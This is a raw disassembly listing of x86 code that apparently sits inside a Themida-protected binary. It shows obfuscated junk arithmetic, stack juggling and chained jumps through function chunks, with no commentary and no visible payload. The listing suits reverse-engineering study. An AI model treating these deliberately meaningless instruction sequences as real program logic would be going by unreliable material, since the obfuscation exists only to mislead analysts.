loc_55F4EF:				; CODE XREF: sub_562ABA+16B9j
		push	6600h
		mov	[esp+2Ah+var_2C+2], esi
		push	[esp+2Ah+var_28+2]
		jmp	loc_570481
; ---------------------------------------------------------------------------


loc_55F500:				; CODE XREF: sub_562ABA+1DE6j
		push	[esp+2Eh+var_2C+2]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp+2Ah+var_2C+2]
		jmp	loc_56C948
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F510	proc near		; CODE XREF: sub_562ABA-3ECBj

var_8		= dword	ptr -8
var_4		= word ptr -4

		sub	esp, 2
		mov	[esp+4+var_4], dx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	ecx
		mov	cl, 0FBh
		push	eax
		jmp	loc_55FFB8
sub_55F510	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F529:				; CODE XREF: sub_562ABA-259Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 4
		jmp	loc_57267C
; ---------------------------------------------------------------------------


loc_55F543:				; CODE XREF: sub_562ABA-46ECj
		sub	ebx, 57375020h
		add	ebx, 3925D51h
		sub	ebx, 60B67F51h
		add	ebx, 34062FE7h
		xor	ebx, 0B4014811h
		sub	eax, 18845306h
		sub	eax, ebx
		add	eax, 18845306h
		pop	ebx
		sub	eax, 12401CF9h
		pop	edx
		jmp	loc_562635
; ---------------------------------------------------------------------------


loc_55F579:				; CODE XREF: sub_562ABA+A7D4j
		sub	eax, 4
		xchg	eax, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], esp
		add	[esp-14h+arg_10], 4
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		push	eax
		mov	eax, 3A962E8Ah
		not	eax
		push	edi
		mov	edi, 0EFD73CFh
		jmp	loc_56FC44
; ---------------------------------------------------------------------------


loc_55F5A8:				; CODE XREF: sub_562ABA+2C35j
		push	3209h
		mov	[esp-0Ch+arg_8], eax
		mov	eax, esp
		jmp	loc_565C73
; ---------------------------------------------------------------------------


loc_55F5B7:				; CODE XREF: sub_562ABA+7118j
		add	esp, 2
		jmp	loc_56781B
; ---------------------------------------------------------------------------


loc_55F5BF:				; CODE XREF: sub_562ABA+EFB1j
		add	ecx, eax
		pop	eax
		sub	ecx, 0D9B70947h
		add	eax, ecx
		pop	ecx
		add	edx, 67E338ACh
		jmp	loc_56FCB9
; ---------------------------------------------------------------------------


loc_55F5D6:				; CODE XREF: sub_562ABA+ABCAj
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		push	edi
		mov	edi, 19102D5Bh
		not	edi
		jmp	loc_568C33
; ---------------------------------------------------------------------------


loc_55F5E9:				; CODE XREF: sub_562ABA+B662j
		add	esp, 4
		jmp	loc_57057B
; ---------------------------------------------------------------------------


loc_55F5F1:				; CODE XREF: sub_562ABA+4589j
		push	664836BDh
		pop	eax
		sub	eax, 4FA97DF8h
		sub	eax, 57EC2ABFh
		push	ecx
		jmp	loc_56F2D4
; ---------------------------------------------------------------------------


loc_55F607:				; CODE XREF: sub_562ABA+5D26j
		pop	eax
		jmp	loc_563406
; ---------------------------------------------------------------------------


loc_55F60D:				; CODE XREF: sub_562ABA-490Dj
		sub	ebx, 4CD9689Fh
		add	ebx, 599A27A1h
		mov	esi, ebx
		jmp	loc_56E835
; ---------------------------------------------------------------------------


loc_55F620:				; CODE XREF: sub_562ABA-1C62j
		not	cl
		sub	cl, 0CAh
		jmp	loc_56CAFF
; ---------------------------------------------------------------------------


loc_55F62A:				; CODE XREF: sub_562ABA-3FB8j
		dec	eax
		xor	eax, 743E392Dh
		mov	esi, eax
		pop	eax
		neg	esi
		jmp	loc_566897
; ---------------------------------------------------------------------------


loc_55F63A:				; CODE XREF: sub_562ABA-1CEAj
		push	edi
		push	[esp+2Ah+var_28+2]
		pop	edi
		pop	[esp+2Ah+var_2C+2]
		jmp	loc_570AFA
; ---------------------------------------------------------------------------


loc_55F648:				; CODE XREF: sub_562ABA+1322j
		add	edi, 281964E7h
		pop	ebx
		sub	esp, 4
		jmp	loc_5648BE
; ---------------------------------------------------------------------------


loc_55F657:				; CODE XREF: sub_562ABA+4A00j
		pop	edi
		pop	[esp+22h+var_22]
		jmp	loc_55F7F2
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F660	proc near		; CODE XREF: sub_562ABA-417Ej
		push	ebp
		push	ecx
		jmp	loc_56E21F
sub_55F660	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F667:				; CODE XREF: sub_562ABA-2ED5j
		push	[esp+1Eh+var_1A]
		pop	edi
		pop	[esp+1Eh+var_1E]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_56CDBE
; ---------------------------------------------------------------------------


loc_55F677:				; CODE XREF: sub_562ABA+75E2j
		pop	eax
		sub	esi, 442FCB44h
		jmp	loc_563CCC
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_55F683:				; DATA XREF: Themida_:0055DFF8o
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_56B8F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F692:				; CODE XREF: sub_562ABA-463Dj
		add	esi, 42F83190h
		or	esi, 656237F6h
		xor	esi, 0ED6EBFF3h
		add	ebp, esi
		pop	esi
		xor	ebp, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebp
		xor	ebp, [esp+0Ah+var_C+2]
		pop	esp
		jmp	sub_572C02
; ---------------------------------------------------------------------------


loc_55F6B6:				; CODE XREF: sub_562ABA+70D7j
		or	edx, 1C34268Eh
		push	ebp
		mov	ebp, 721C54EFh
		xor	edx, ebp
		pop	ebp
		jmp	loc_56E88F
; ---------------------------------------------------------------------------


loc_55F6CA:				; CODE XREF: sub_562ABA+CCBAj
		add	ecx, 4
		xor	ecx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ecx
		xor	ecx, [esp+6+var_8+2]
		jmp	loc_56143C
; ---------------------------------------------------------------------------


loc_55F6DB:				; CODE XREF: sub_562ABA-1C4Bj
		add	ecx, 75FA291Ch
		dec	ecx
		and	ecx, 187D413Ch
		jmp	loc_569B69
; ---------------------------------------------------------------------------


loc_55F6ED:				; CODE XREF: sub_562ABA+8E12j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ah+var_C+2]
		pop	esp
		push	0E73h
		mov	[esp+0Ah+var_C+2], ebp
		push	ecx
		mov	ecx, 3BAE2ED8h
		mov	ebp, 3BAE2EDCh
		sub	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_5698FE
; ---------------------------------------------------------------------------


loc_55F71C:				; CODE XREF: sub_562ABA+661Bj
		and	ebx, 4A0F7EA1h
		or	ebx, 7E552227h
		shl	ebx, 3
		sub	ebx, 0F2FBF534h
		jmp	loc_56AEEA
; ---------------------------------------------------------------------------


loc_55F736:				; CODE XREF: sub_562ABA-5ABj
		push	615Dh
		jmp	loc_5720CD
; ---------------------------------------------------------------------------


loc_55F740:				; CODE XREF: sub_562ABA+61EAj
		mov	[esp+0], esi
		push	5A46h
		mov	[esp+12h+var_12], eax
		jmp	loc_568EA3
; ---------------------------------------------------------------------------


loc_55F750:				; CODE XREF: sub_562ABA+42BAj
		mov	esp, [esp+12h+var_12]
		mov	[esp+12h+var_12], eax
		mov	eax, esp
		push	ebx
		push	4
		pop	ebx
		add	eax, ebx
		pop	ebx
		push	3682h
		jmp	loc_55F2AA
; ---------------------------------------------------------------------------


loc_55F76C:				; CODE XREF: sub_562ABA+69ADj
		add	edx, 4
		jmp	loc_571F91
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F777	proc near		; CODE XREF: sub_562ABA+D694j
		push	ebp
		mov	ebp, 3CF70E94h
		sub	ebp, 4B3E0D64h
		jmp	loc_563A0C
sub_55F777	endp


; =============== S U B	R O U T	I N E =======================================



sub_55F788	proc near		; CODE XREF: sub_562ABA+865Aj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dx, 323h
		or	dx, 5EE6h
		dec	dx
		shl	dx, 4
		xor	dx, 5B26h
		not	dx
		xor	dx, 2CA2h
		xor	si, dx
		pop	edx
		sub	si, 1A55h
		jmp	loc_563EBF
sub_55F788	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F7BB:				; CODE XREF: sub_562ABA+4B7Dj
		shr	edx, 2
		not	edx
		add	edx, 8BAC0D50h
		sub	ebx, 281E2778h
		add	ebx, edx
		add	ebx, 281E2778h
		jmp	loc_567A86
; ---------------------------------------------------------------------------


loc_55F7D9:				; CODE XREF: sub_562ABA-E9Fj
		mov	ecx, esp
		push	edx
		push	eax
		mov	eax, 4
		jmp	loc_566BBB
; ---------------------------------------------------------------------------


loc_55F7E7:				; CODE XREF: sub_562ABA+1018j
		push	esi
		mov	esi, 3E9C34EAh
		jmp	loc_570CFE
; ---------------------------------------------------------------------------


loc_55F7F2:				; CODE XREF: sub_562ABA-345Fj
		pop	esp
		jmp	loc_5661B8
; ---------------------------------------------------------------------------


loc_55F7F8:				; CODE XREF: sub_562ABA+50F2j
		sub	[edi+24h], ebp
		mov	ebp, [esp+1Ah+var_1A]
		sub	esp, 4
		jmp	loc_56CA3C
; ---------------------------------------------------------------------------


loc_55F806:				; CODE XREF: sub_562ABA+990Aj
		sub	eax, edi
		push	esi
		mov	esi, 6D415DB2h
		add	eax, esi
		push	[esp+22h+var_22]
		jmp	loc_569DA0
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_569452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F826:				; CODE XREF: sub_562ABA+42FAj
		xor	ebp, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], ebp
		xor	ebp, [esp+26h+var_28+2]
		pop	esp
		push	ebp
		sub	[esp+26h+var_28+2], 6AFC08E2h
		jmp	loc_56D0D7
; ---------------------------------------------------------------------------


loc_55F83D:				; CODE XREF: sub_562ABA-2CBj
		add	ebp, edx
		pop	edx
		push	ebp
		push	edx
		mov	edx, 36C35838h
		add	[esp+2Ah+var_28+2], edx
		pop	edx
		pop	esi
		jmp	loc_5637CC
; ---------------------------------------------------------------------------


loc_55F852:				; CODE XREF: sub_562ABA+FABEj
		sub	ebp, 4A903ECEh
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 52D877B0h
		xor	ebp, ecx
		pop	ecx
		xor	ecx, ebp
		jmp	loc_566EBA
; ---------------------------------------------------------------------------


loc_55F86D:				; CODE XREF: sub_562ABA+8D29j
		mov	eax, 96E473Bh
		shr	eax, 5
		or	eax, 3ECF7FC2h
		push	ecx
		push	edi
		mov	edi, 553161C0h
		push	ebx
		push	4E38h
		mov	[esp+32h+var_32], eax
		mov	eax, 5939ABFEh
		mov	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, ebx
		jmp	loc_5710BA
; ---------------------------------------------------------------------------


loc_55F89A:				; CODE XREF: sub_562ABA+95B5j
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp+26h+var_28+2], edx
		jmp	loc_571E8B
; ---------------------------------------------------------------------------


loc_55F8A7:				; CODE XREF: sub_562ABA+A271j
		mov	edx, 3EC53B61h
		sub	edx, eax
		pop	eax
		shr	edx, 1
		inc	edx
		xor	edx, 0F7453AABh
		xor	ebx, edx
		pop	edx
		mov	eax, ebx
		jmp	loc_5652F8
; ---------------------------------------------------------------------------


loc_55F8C2:				; CODE XREF: sub_562ABA+445Fj
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		pop	[esp+1Ah+var_1A]
		pop	esp
		jmp	loc_56ADF5
; ---------------------------------------------------------------------------


loc_55F8D1:				; CODE XREF: sub_562ABA+D4D9j
		mov	ecx, esp
		push	edi
		mov	edi, 0F772A93h
		add	edi, 559A5164h
		push	ebx
		push	ebp
		mov	ebp, 3BE17BA9h
		mov	ebx, ebp
		pop	ebp
		push	esi
		mov	esi, 0CC956333h
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		pop	ebx
		add	edi, 2BA26B97h
		add	ecx, edi
		jmp	loc_56F773
; ---------------------------------------------------------------------------


loc_55F902:				; CODE XREF: sub_562ABA+F3A8j
		add	esp, 4
		jmp	loc_5703C0
; ---------------------------------------------------------------------------


loc_55F90A:				; CODE XREF: sub_562ABA+EE76j
		inc	esi
		add	esi, 0FFFFFFFFh
		add	esi, 65D93872h
		jmp	loc_5675FC
; ---------------------------------------------------------------------------


loc_55F91C:				; CODE XREF: sub_562ABA+CF0Bj
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ebp
		push	edi
		mov	edi, 71716A4Fh
		shr	edi, 1
		push	edi
		jmp	loc_565760
; ---------------------------------------------------------------------------


loc_55F935:				; CODE XREF: sub_562ABA+7357j
		pop	esi
		jmp	loc_565F26
; ---------------------------------------------------------------------------


loc_55F93B:				; CODE XREF: sub_562ABA-21F5j
		xor	esi, ecx
		jmp	loc_571796
; ---------------------------------------------------------------------------


loc_55F942:				; CODE XREF: sub_562ABA+F828j
		pop	ebp
		sub	[esp+0Ah+var_8+2], 491013F9h
		sub	[esp+0Ah+var_8+2], 52C3233Ah
		jmp	loc_56BDA8
; ---------------------------------------------------------------------------


loc_55F958:				; CODE XREF: sub_562ABA+59D2j
		mov	ax, word ptr [esp+0Ah+var_C+2]
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_560FCD
; ---------------------------------------------------------------------------


loc_55F96A:				; CODE XREF: sub_562ABA+5E4j
		mov	[esp+0], edi
		jmp	loc_56201B
; ---------------------------------------------------------------------------


loc_55F972:				; CODE XREF: sub_562ABA+584Cj
		and	edx, 64E213D5h
		sub	edx, 978BE71Bh
		add	ecx, edx
		mov	edx, [esp+0]
		add	esp, 4
		inc	ecx
		add	ecx, 4398561Ch
		jmp	loc_5683AF
; ---------------------------------------------------------------------------


loc_55F995:				; CODE XREF: sub_562ABA+19D0j
		sub	ebp, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_55EE33
; ---------------------------------------------------------------------------


loc_55F9A5:				; CODE XREF: sub_562ABA+131Bj
		xchg	eax, [esp+6+var_8+2]
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		jmp	loc_561E3E
; ---------------------------------------------------------------------------


loc_55F9B1:				; CODE XREF: sub_562ABA+5C38j
		mov	[esp+6+var_8+2], eax
		push	edi
		push	7E6E5E5Ch
		pop	edi
		and	edi, 5F2920C9h
		inc	edi
		xor	edi, 1F1C2E03h
		push	edi
		pop	eax
		pop	edi
		mov	edx, 41342E4Eh
		xor	edx, eax
		push	[esp+6+var_8+2]
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_56B6B1
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55F9E0	proc near		; CODE XREF: sub_562ABA+264j
		push	bx
		push	bx
		jmp	loc_56A9AE
sub_55F9E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55F9E9:				; CODE XREF: sub_562ABA+35BAj
		add	esp, 4
		sub	esp, 4
		jmp	loc_569EC5
; ---------------------------------------------------------------------------


loc_55F9F7:				; CODE XREF: sub_562ABA+77BEj
		push	2Ch
		mov	eax, [esp+0Ah+var_C+2]
		push	11E2h
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_562B12
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55FA0F	proc near		; CODE XREF: sub_562ABA+A175j
		push	ebx
		push	edx
		push	46665A5Bh
		pop	edx
		sub	edx, 12B12CACh
		mov	ebx, edx
		pop	edx
		jmp	loc_564828
sub_55FA0F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55FA25:				; CODE XREF: sub_562ABA+7A3Fj
		sub	esi, 5B213384h
		mov	ebp, esi
		pop	esi
		or	ebp, 0AF472E9h
		push	ebx
		jmp	loc_5702F1
; ---------------------------------------------------------------------------


loc_55FA3A:				; CODE XREF: sub_562ABA-3794j
		push	eax
		jmp	loc_56AE05
; ---------------------------------------------------------------------------


loc_55FA40:				; CODE XREF: sub_562ABA+B5C7j
		push	5E2Dh
		mov	[esp+16h+var_16], ecx
		mov	ecx, 76F16ACDh
		dec	ecx
		not	ecx
		jmp	loc_563EA4
; ---------------------------------------------------------------------------


loc_55FA55:				; CODE XREF: sub_562ABA+D5C4j
		not	ecx
		push	eax
		mov	eax, 22961F12h
		shl	eax, 3
		push	ebx
		mov	ebx, 409A317Dh
		sub	ebx, 7D08664Eh
		xor	ebx, 17AE0947h
		xor	ebx, 0C6F8BE48h
		add	eax, ebx
		jmp	loc_5681D7
; ---------------------------------------------------------------------------


loc_55FA7F:				; CODE XREF: sub_562ABA+73A8j
		xchg	ecx, [esp+1Eh+var_1E]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56966D
; ---------------------------------------------------------------------------


loc_55FA91:				; CODE XREF: sub_562ABA+7384j
		mov	edx, 2DC1881h
		and	edx, 79342ED8h
		not	edx
		sub	edx, 0D8278CDDh
		jmp	loc_561994
; ---------------------------------------------------------------------------


loc_55FAA9:				; CODE XREF: sub_562ABA+A85Aj
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1A]
		pop	esp
		pop	[esp+16h+var_16]
		jmp	loc_5667BA
; ---------------------------------------------------------------------------


loc_55FABB:				; CODE XREF: sub_562ABA+9D5Ej
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55FAC0:				; CODE XREF: sub_562ABA+5BFDj
		add	edi, esi
		pop	esi
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		or	[edi+1Ch], eax
		mov	eax, [esp+0]
		add	esp, 4


loc_55FAD2:				; CODE XREF: sub_562ABA+B8A1j
		push	6761h
		mov	[esp+0], ebx
		push	5128h
		jmp	loc_56B98A
; ---------------------------------------------------------------------------


loc_55FAE4:				; CODE XREF: sub_562ABA+C880j
		pop	eax
		mov	ch, dl
		pop	edx
		add	bl, 93h
		add	bl, ch
		push	eax
		mov	ah, 18h
		jmp	loc_56B8D9
; ---------------------------------------------------------------------------


loc_55FAF5:				; CODE XREF: sub_562ABA+43E5j
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp+12h+var_12], esp
		add	[esp+12h+var_12], 4
		pop	esi
		jmp	loc_56D612
; ---------------------------------------------------------------------------


loc_55FB0D:				; CODE XREF: sub_562ABA+D4A9j
		push	dword ptr [esp+0]
		jmp	loc_561BA7
; ---------------------------------------------------------------------------


loc_55FB15:				; CODE XREF: sub_562ABA-1CB1j
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_567707
; ---------------------------------------------------------------------------


loc_55FB21:				; CODE XREF: sub_562ABA-1D17j
		not	esi
		shl	esi, 2
		add	esi, 18CD514Ch
		push	ecx
		mov	ecx, 52AA291Dh
		jmp	loc_566F67
; ---------------------------------------------------------------------------


loc_55FB37:				; CODE XREF: sub_562ABA-48Aj
		sub	[esp+16h+var_12], 66220272h
		jmp	loc_56384F
; ---------------------------------------------------------------------------


loc_55FB44:				; CODE XREF: sub_562ABA+102Aj
		mov	[esp+16h+var_16], ebx
		push	esp
		push	[esp+1Ah+var_1A]
		pop	ebx
		add	esp, 4
		jmp	loc_56D62A
; ---------------------------------------------------------------------------


loc_55FB57:				; CODE XREF: sub_562ABA+D439j
		mov	[esp+16h+var_16], eax
		push	edx
		jmp	loc_5643AB
; ---------------------------------------------------------------------------


loc_55FB60:				; CODE XREF: sub_562ABA+2135j
		mov	edi, esp
		jmp	loc_561DF8
; ---------------------------------------------------------------------------


loc_55FB67:				; CODE XREF: sub_562ABA-1EE5j
		add	ecx, 4
		jmp	sub_571EF9
; ---------------------------------------------------------------------------


loc_55FB72:				; CODE XREF: sub_562ABA+9317j
		mov	ecx, eax
		pop	eax
		add	edi, 6E9E55B7h
		jmp	loc_55EB07
; ---------------------------------------------------------------------------


loc_55FB80:				; CODE XREF: sub_562ABA+66FAj
		push	1D7Eh
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, 2
		sub	edx, ebx
		jmp	loc_560D39
; ---------------------------------------------------------------------------


loc_55FB94:				; CODE XREF: sub_562ABA+58CEj
		pop	eax
		add	eax, edi
		pop	edi
		mov	edi, eax
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		push	ecx
		mov	ecx, 3CC2787Ah
		sub	edi, ecx
		pop	ecx
		sub	edi, 0F422CFh
		add	edi, ecx
		add	edi, 0F422CFh
		add	edi, 3CC2787Ah
		pop	ecx
		shr	edi, 1
		add	edi, 314804A9h
		xor	eax, edi
		jmp	loc_565B14
; ---------------------------------------------------------------------------


loc_55FBCD:				; CODE XREF: sub_562ABA+19B3j
		push	edi
		mov	edi, esp
		jmp	loc_55F09C
; ---------------------------------------------------------------------------


loc_55FBD5:				; CODE XREF: sub_562ABA+621Ej
		add	edi, 4
		jmp	loc_560466
; ---------------------------------------------------------------------------


loc_55FBDD:				; CODE XREF: sub_562ABA+D23j
		mov	eax, ebp
		jmp	loc_560FB7
; ---------------------------------------------------------------------------


loc_55FBE4:				; CODE XREF: sub_562ABA+94CAj
		push	edi
		jmp	loc_55F667
; ---------------------------------------------------------------------------


loc_55FBEA:				; CODE XREF: sub_562ABA+F35Cj
		pop	ebx
		shr	ecx, 3
		shl	ecx, 4
		jmp	loc_570887
; ---------------------------------------------------------------------------


loc_55FBF6:				; CODE XREF: sub_562ABA-1E47j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+0]
		jmp	loc_568022
; ---------------------------------------------------------------------------


loc_55FC0C:				; CODE XREF: sub_562ABA+FF5j
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_570124
; ---------------------------------------------------------------------------


loc_55FC1F:				; CODE XREF: sub_562ABA+46F2j
		pop	ebp
		add	esp, 4
		push	ebp
		jmp	loc_569D60
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_55FC29:				; CODE XREF: sub_55FCA5+8Cj
		push	ecx
		push	esi
		mov	esi, 7D3E44DEh
		mov	ecx, 98F64B6Ah
		sub	ecx, esi
		jmp	loc_56B0AF
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55FC3C:				; CODE XREF: sub_562ABA+6BAEj
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55FC41	proc near		; CODE XREF: sub_562ABA+358Ej

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0055EE73 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005626F2 SIZE 0000000A BYTES

		push	ebp
		sub	esp, 4
		jmp	loc_5626F2
sub_55FC41	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55FC4A:				; CODE XREF: sub_562ABA+35C9j
		mov	[esp+0], edi
		jmp	loc_56A673
; ---------------------------------------------------------------------------


loc_55FC52:				; CODE XREF: sub_562ABA+5B6Cj
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	75A6h
		jmp	loc_56F29A
; ---------------------------------------------------------------------------


loc_55FC62:				; CODE XREF: sub_562ABA+B088j
		sub	eax, esi
		add	eax, 50A460BFh
		push	[esp+12h+var_12]
		pop	esi
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		jmp	loc_56660F
; ---------------------------------------------------------------------------


loc_55FC78:				; CODE XREF: sub_562ABA+1DCj
		add	esp, 4
		jmp	loc_56FC8D
; ---------------------------------------------------------------------------


loc_55FC83:				; CODE XREF: sub_562ABA+A9CDj
		xor	esi, edi
		mov	edi, [esp+12h+var_12]
		jmp	loc_56D95B
; ---------------------------------------------------------------------------


loc_55FC8D:				; CODE XREF: sub_562ABA+CF21j
		not	eax
		jmp	loc_5718FF
; ---------------------------------------------------------------------------


loc_55FC94:				; CODE XREF: sub_562ABA+B7C7j
		pop	esp
		push	eax
		mov	ah, 0E4h
		jmp	loc_565DC7
; ---------------------------------------------------------------------------


loc_55FC9D:				; CODE XREF: sub_562ABA+6F33j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_56C8BE
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55FCA5	proc near		; CODE XREF: sub_562ABA+10A6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055E5F7 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055E7AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055FC29 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056024A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005604FE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560E2F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005611F9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00561B5D SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00561E49 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562228 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562713 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571F46 SIZE 00000009 BYTES

		sub	esp, 4
		jmp	loc_560165
; ---------------------------------------------------------------------------


loc_55FCAD:				; CODE XREF: sub_562ABA+BDFDj
		mov	[esp+0], ecx
		mov	ecx, 6CB21B6Eh
		push	eax
		mov	eax, 934EE491h
		add	ecx, eax
		push	[esp+4+var_4]
		jmp	loc_5604FE
; ---------------------------------------------------------------------------


loc_55FCC5:				; CODE XREF: sub_562ABA-C76j
		pop	eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_56358E
; ---------------------------------------------------------------------------


loc_55FCDA:				; CODE XREF: sub_562ABA+850Cj
		add	edi, 25694FA8h
		jmp	loc_5714C8
; ---------------------------------------------------------------------------


loc_55FCE5:				; CODE XREF: sub_562ABA+A056j
		neg	ecx
		sub	ecx, 0B309AFA2h
		sub	edx, ecx
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		add	edx, 159F3590h
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		jmp	loc_56ACF3
; ---------------------------------------------------------------------------


loc_55FD0C:				; CODE XREF: sub_562ABA+57BDj
		sub	edx, 14002470h
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		push	447Fh
		mov	[esp+4+var_4], eax
		mov	eax, 5D685C7Ch
		sub	edx, eax
		pop	eax
		jmp	loc_55FC29
; ---------------------------------------------------------------------------


loc_55FD36:				; CODE XREF: sub_562ABA+B49Cj
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_57069D
; ---------------------------------------------------------------------------


loc_55FD49:				; CODE XREF: sub_562ABA+2ECDj
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	word ptr [esp-6+arg_0+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55FD62:				; CODE XREF: sub_562ABA+5521j
		sub	edi, 93B3D9A2h
		mov	edx, edi
		pop	edi
		jmp	loc_56CA32
; ---------------------------------------------------------------------------


loc_55FD70:				; CODE XREF: sub_562ABA+24CBj
		mov	edx, 4FD33BDAh
		jmp	loc_56E327
; ---------------------------------------------------------------------------


loc_55FD7A:				; CODE XREF: sub_562ABA+67C8j
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		jmp	loc_56B531
; ---------------------------------------------------------------------------


loc_55FD9A:				; CODE XREF: sub_562ABA-3ADEj
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	552Bh
		mov	[esp+8+var_8], esi
		add	[esp+8+var_8], 42351DA6h
		jmp	loc_56F7CB
; ---------------------------------------------------------------------------


loc_55FDB7:				; CODE XREF: sub_562ABA+1008Cj
		add	edx, 467E41A7h
		push	ecx
		mov	ecx, 27EF401Ch
		sub	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	[ebx], eax
		pop	ebx
		jmp	loc_56D3CB
; ---------------------------------------------------------------------------


loc_55FDD6:				; CODE XREF: sub_562ABA-3D69j
		mov	cl, 0
		inc	cl
		xor	cl, 37h
		sub	cl, 1Dh
		jmp	loc_568D93
; ---------------------------------------------------------------------------


loc_55FDE5:				; CODE XREF: sub_562ABA+A8DBj
		mov	ecx, 21EC4BCBh
		neg	ecx
